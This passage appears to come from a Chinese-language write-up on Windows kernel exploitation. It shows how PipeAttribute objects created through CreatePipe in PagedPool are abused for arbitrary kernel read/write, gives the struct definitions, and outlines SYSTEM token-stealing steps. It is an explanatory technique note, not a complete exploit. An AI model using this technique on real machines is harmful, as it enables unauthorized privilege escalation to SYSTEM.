[out] PHANDLE hReadPipe,
[out] PHANDLE hWritePipe,
[in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes,
[in] DWORD nSize
);

会在内核空间创建 PipeAttribute,PipeAttribute结构是在PagedPool中分配的内核空间中属性的表示,构造后可以造成任意地址的读写

1
2
3
4
5
6
7
8
9
10
11
12
struct PipeAttribute {
LIST_ENTRY list ;
char * AttributeName;
uint64_t AttributeValueSize;
char * AttributeValue;
char data [0];
};

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;

因此可以不写汇编而达到steal token 的目的

  • 使用适当的参数调用NtQuerySystemInformation API获取当前进程和拥有SYSTEM特权的System进程(PID 4)的_EPROCESS和_TOKEN
  • 调用OpenProcessToken函数打开与当前进程关联的访问令牌
  • 根据漏洞替换token

参考文章